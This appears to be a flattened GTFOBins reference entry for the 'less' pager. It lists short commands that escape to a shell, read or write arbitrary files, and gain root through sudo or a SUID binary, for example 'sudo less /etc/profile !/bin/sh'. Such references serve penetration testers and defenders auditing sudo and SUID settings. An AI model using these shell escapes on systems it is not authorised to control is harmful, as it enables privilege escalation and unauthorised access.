GTFOBins.github.io/_gtfobins/less.md
2019-04-08 11:26:10 +02:00

718 B

functions
shell file-read file-write sudo suid
code
less /etc/profile !/bin/sh
code
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile v
code
less file_to_read
description code
This is useful when `less` is used as a pager by another binary to read a different file. less /etc/profile :e file_to_read
code
echo DATA | less sfile_to_write q
description code
This invokes the default editor to edit the file. The file must exist. less file_to_write v
code
sudo less /etc/profile !/bin/sh
code
./less file_to_read